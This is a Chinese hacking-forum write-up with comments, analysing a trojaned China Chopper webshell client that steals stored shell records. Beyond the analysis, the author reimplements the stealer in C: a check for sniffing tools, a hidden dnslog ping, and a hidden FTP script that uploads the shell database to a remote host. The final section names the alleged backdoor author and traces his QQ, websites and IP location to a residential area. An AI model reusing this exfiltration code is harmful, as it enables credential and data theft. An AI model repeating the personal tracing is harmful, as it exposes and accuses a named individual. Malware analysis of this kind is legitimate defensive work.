中国菜刀-它到底做错了什么?
中国菜刀-它到底做错了什么?
起因
很长一段时间总是闲来无事,但作为人类总要做些什么,要不然会疯掉,于是我选择了整天在群里瞎扯淡,瞎扯淡也是门学问,扯的好或者不好,都不能把这个淡长久的扯下去,于是我开始寻找那个所谓的平衡-咸中带淡、淡中带咸,不过这不是重点,这里就不表了。在最近的瞎扯淡中有表哥说收集到了一款中国菜刀,这款中国菜刀与众不同,被人动了手脚,于是就有了下文。
爱之初体验
得到样本后,直接解压,发现很清爽就5个文件和文件夹,也对伐,中国菜刀本来也没几个文件和文件夹,如图所示:
看了一下图标应该是14款的中国菜刀,但是db.tmp是什么鬼?WTF!先给db.tmp重命名为db.tmp.bak,再打开caidao.exe发现直接系统错误了,如图所示:
看到上面的报错,直接可以肯定db.tmp是一个dll文件,肯定有人会质疑为什么不是临时文件呢?直接用C32asm打开看看文件头吧,如图所示:
你家的临时文件张这样么?又有杠精会质疑为什么不是exe呢?把db.tmp.bak改回db.tmp,正常打开中国菜刀,使用火绒内置的火绒剑查看caidao.exe进程使用的模块,发现列表中存在db.tmp,如图所示:
这里重点安利一下火绒的火绒剑,分析就用火绒剑,黑客用了都说好,安利结束,说回正题。
都知道db.tmp是dll了,也别藏着掖着了,直接改名叫db.dll得了,清晰明了。使用C32asm打开db.dll文件,看看葫芦里都卖的什么药。
慢慢走慢慢看,一点一点往下翻,跨过山和大海在茫茫字符中看到了,猝不及防的直白,让我心痛到无法呼吸,如图所示:
忍着心痛继续往下看,穿过人山人海在茫茫字符中又看到了,别在折磨我了,俗话说:往往深情留不住,只有套路得人心。来点套路吧!别再深情告白了,各位看官都跑了,如图所示:
谁TM还没点小脾气,再TM出现我TM不看了,就算做咸鱼,我TM也要做最咸的那一条!
继续往下看,发现存在对进程的操作,以及N多流量分析工具的进程名,如图所示:
继续往下看,发现对数据库进行连接,并获取了表的全部数据,如图所示:
这个表里面存储的是什么呢?打开中国菜刀并添加数据,如图所示:
使用工具查看db.mdb数据库表的内容,发现存储的是shell记录,如图所示:
再往下看,发现后门地址,如图所示:
有关爱之初体验环节可以总结为,通过对caidao.exe文件进行修改,使caidao.exe加载db.tmp文件,对db.tmp文件分析得知该文件是dll,该dll实现的功能可以总结如下:
- 判断进程名中是否存在流量分析工具
- 连接数据库并获取shell信息
- 使用http请求传递shell信息
爱之再试探
对爱之初体验环节总结的功能使用代码进行复现。
判断某个进程名是否存在
#include"tlhelp32.h"
DWORD GetProcessIdFromName(LPCWSTR name)
{
PROCESSENTRY32 pe;
DWORD id = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe))
return 0;
while (1)
{
pe.dwSize = sizeof(PROCESSENTRY32);
if (Process32Next(hSnapshot, &pe) == FALSE)
break;
if (wcscmp(pe.szExeFile, name) == 0)
{
id = pe.th32ProcessID;
break;
}
}
CloseHandle(hSnapshot);
return id;
}
if(GetProcessIdFromName(_T("calc.exe")) || GetProcessIdFromName(_T("WSockExpert_cn.exe")) || GetProcessIdFromName(_T("WSockExpert.exe")) || GetProcessIdFromName(_T("CHKenCap.exe")) || GetProcessIdFromName(_T("SmartSniff.exe")) || GetProcessIdFromName(_T("hookME.exe")) || GetProcessIdFromName(_T("NetworkTrafficView.exe")) || GetProcessIdFromName(_T("smsniff.exe")) || GetProcessIdFromName(_T("tcpmon.exe")) || GetProcessIdFromName(_T("HttpAnalyzerStdV6.exe")) || GetProcessIdFromName(_T("Csnas.exe")) || GetProcessIdFromName(_T("Wireshark.exe"))) {
return TRUE;
}
使用http请求传递信息
研究了很久怎么用C/C++传递信息,什么winsock2都试了,无奈太菜,代码调试到最后都没成功,先放一下,暂且使用dnslog接收数据吧,等把整体搞完了再研究一下问题到底出现在哪。
#include<windows.h>
WinExec("ping -n 1 test.kdlo9x.ceye.io",SW_HIDE);
连接数据库并获取shell信息
要连接中国菜刀数据库,首先要知道cache.mdb的密码,在T00LS的QQ群里问了问表哥们,表哥说百度就有,万能的百度,如图所示:
有密码了本以为很快就要结束了,鬼知道C/C++还真是与众不同,折腾了大半天也没连上,为了进度换一种思路吧,直接通过FTP上传cache.mdb吧,这里又遇到了另外一个问题,那就是防爆菊,万一被逆向找到FTP的口令,岂不是偷鸡不成蚀把米,这里需要对下载、删除等权限进行禁止,只留下上传权限,如图所示:
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
WinExec("cmd /c echo open 192.168.64.137> cache.tmp",SW_HIDE);
Sleep(100);
WinExec("cmd /c echo ftp>> cache.tmp",SW_HIDE);
Sleep(100);
WinExec("cmd /c echo ftp>> cache.tmp",SW_HIDE);
Sleep(100);
WinExec("cmd /c echo cd db>> cache.tmp",SW_HIDE);
Sleep(100);
char str[20];
sprintf(str, "%d", time(NULL));
char file[50];
strcpy(file,"cmd /c echo put db.mdb ");
strcat(file,str);
strcat(file,".mdb>> cache.tmp");
WinExec(file,SW_HIDE);
Sleep(100);
WinExec("cmd /c echo quit>> cache.tmp",SW_HIDE);
WinExec("ftp -s:cache.tmp",SW_HIDE);
Sleep(5000);
WinExec("cmd /c echo test>cache.tmp",SW_HIDE);
dll注入到exe
这里直接使用微软开源的工具,试了下美滋滋,微软棒棒哒。
先将dll注入到自己写的小dome中看看执行的流程,如图所示:
再将dll注入到hash.exe文件中,同样可以完成操作,如图所示:
但是这里比较尴尬的是将dll注入到中国菜刀后,打开中国菜刀就崩溃了,不清楚是dll引发的菜刀崩溃,还是dll自己崩溃的,这里还在思考。
爱之终寻源
在爱之初体验环节通过对db.tmp文件进行分析,得到这个域名,通过在线whois查询,获取域名注册相关的信息,发现该域名注册人为龚玉潮,注册邮箱为[email protected],如图所示:
使用获取百度收录信息,发现居然还有两条收录,如图所示:
通过百度收录的网址进行访问,发现跳转至微美官方论坛,改网站域名为,在网站下方的在线咨询功能处获取到的QQ号码与域名whois查询到的是同一个QQ号码,说明两个网站同属一个人,如图所示:
通过使用龚玉潮 黑客和龚玉潮 hack作为关键字进行搜索,发现该人相对比较关注CC攻击和远控抓鸡,如图所示:
通过使用[email protected]作为关键字进行搜索,发现酷250网站大全存在相关信息,如图所示:
在酷250网站描述处发现网站历史IP,如图所示:
使用在线IP定位工具对IP进行定位,发现定位地址与酷250网站描述信息中的地址一致,如图所示:
东风快递都寄到小区了,怎么能不打开看看呢?说干就干,开箱验货,如图所示:
你都说了你是黑客,不如做一次极客,拆机验货,看看你心里到底有什么,如图所示:
封心锁爱,一心求财。但君子爱财,取之有道。技术是把双刃剑,能成佛,能成魔。小孩很可爱,为什么不做一些让他为之骄傲的事情呢?再多也不想说什么了,收手吧,我劝你善良。
寻人启事
上面没有用到OD,也没有用到IDA,通过也没有用到什么高深的技术或者思路,不是不想用或者用不到,而是我真的不会用。
寻求精通社工、渗透、逆向、破解、溯源、区块链、大数据、人工智能等任意技术的大佬,如果你乐意无偿同我分享技术,可以联系我,不过本菜几乎不能帮你解决任何技术上的问题,不是不想,而是太菜。
如果你同我一样菜,那么也可以联系我,只要你感兴趣的,我都可以同你一起学习。
本寻人启事并无与论坛抢人气之意,本菜也做不到,背后不存在企业靠山,无挖论坛各位大佬之意,只想找一些志同道合的人,做一些有意思的事,也许最后你会同我一样一贫如洗,但不会怨恨选择独行的自己。
瞎扯淡
最后居然不知道要说什么了,但总想说点什么。
-
表哥们学习技术是为了什么?金钱、兴趣、装逼或者其他什么?
-
做技术真的到了吃不饱饭的地步了么?表哥们经历过最穷或者最艰难的时候是什么处境?介意讲给我听吗?
-
如果真的做技术已经到了吃不饱饭的地步,转行吧!在法律允许的范畴内找一个可以吃饱饭的职业。
-
做事可以不对自己负责,但是要对爱你的和你爱的人负责,在你背后的那些人,你永远也在他们背后。
-
如果我在你的身后,我不会让一颗子弹落在你的身上。如果我牺牲了,请关照我的家人。
彩蛋
如果你看到了这里,麻烦有钱的捧个钱场,没钱的捧个人场。1TUBI不嫌少,5TUBI不嫌多。本菜至今新手上路,不曾看过老司机飙车(20权限的文章),据说顶贴可以增长TCV,麻烦各位老哥帮忙顶顶贴,助我早日拿到驾照,观看老司机飙车。
评论178次
这年头的菜刀 没几个安全的。 不需要做别的,IE 开个代理。 burp拦截,然后本地搭建环境就行了,有后门直接删除。
微软dotnet项目里面带的setdll,源码可以在微软github官方库里面找到。
这是缘分呀,老哥可以分析一下,看看有没有其他遗漏的。
期待后续的
改用开源的java版菜刀吧,功能基本够用,胜在源码开放,稍微安全点。
我现在用蚁剑比较多,不过还是xi惯性用菜刀。
改用开源的java版菜刀吧,功能基本够用,胜在源码开放,稍微安全点。
现在用这个倒是少了
很少使用菜刀,自己撸一个工具比较安全
一看就是大佬,工具全靠自己撸,表哥可否开源一下,让大家学xi学xi。
天下乌鸦一般黑,现在网上下载东西都很小心
手手相传的东西还是自己检测一下比较好,分享的精神是值得鼓励的,但是有些时候分享的人也不知道存在后门,所有还是需要自己小心。
思维缜密 一看就是老手
新手新手,还没上路呢,在找老司机带飙车。
很少使用菜刀,自己撸一个工具比较安全
天下乌鸦一般黑,现在网上下载东西都很小心
思维缜密 一看就是老手
我一直都是在用菜刀,真的有问题?
校验下hash,hash没问题就没问题的,我也用的菜刀
我一直都是在用菜刀,真的有问题?
因为它真的是一款神器。
那些年的菜刀 XISE 收割机。
这年头的菜刀 没几个安全的。 不需要做别的,IE 开个代理。 burp拦截,然后本地搭建环境就行了,有后门直接删除。
不一定全都是http代理,还有些似乎有ftp跟发信
隔一段时间发的就恶心了。这种靠短时间的监测有点难。。
是的,搞个随机延迟这怎么抓。。。
我去,我都用了好几次这个 尴尬。。
这年头的菜刀 没几个安全的。 不需要做别的,IE 开个代理。 burp拦截,然后本地搭建环境就行了,有后门直接删除。
不一定全都是http代理,还有些似乎有ftp跟发信
之前看别人分析的一个后门,它不是随存随发,而是根据开机时间不定期发送,不太好捕获
隔一段时间发的就恶心了。这种靠短时间的监测有点难。。
这年头的菜刀 没几个安全的。 不需要做别的,IE 开个代理。 burp拦截,然后本地搭建环境就行了,有后门直接删除。
不一定全都是http代理,还有些似乎有ftp跟发信
这些都不是啥大问题,碰到虚拟机里,物理机wireshark 教他做人
之前看别人分析的一个后门,它不是随存随发,而是根据开机时间不定期发送,不太好捕获
这年头的菜刀 没几个安全的。 不需要做别的,IE 开个代理。 burp拦截,然后本地搭建环境就行了,有后门直接删除。
不一定全都是http代理,还有些似乎有ftp跟发信
这些都不是啥大问题,碰到虚拟机里,物理机wireshark 教他做人
这年头的菜刀 没几个安全的。 不需要做别的,IE 开个代理。 burp拦截,然后本地搭建环境就行了,有后门直接删除。
不一定全都是http代理,还有些似乎有ftp跟发信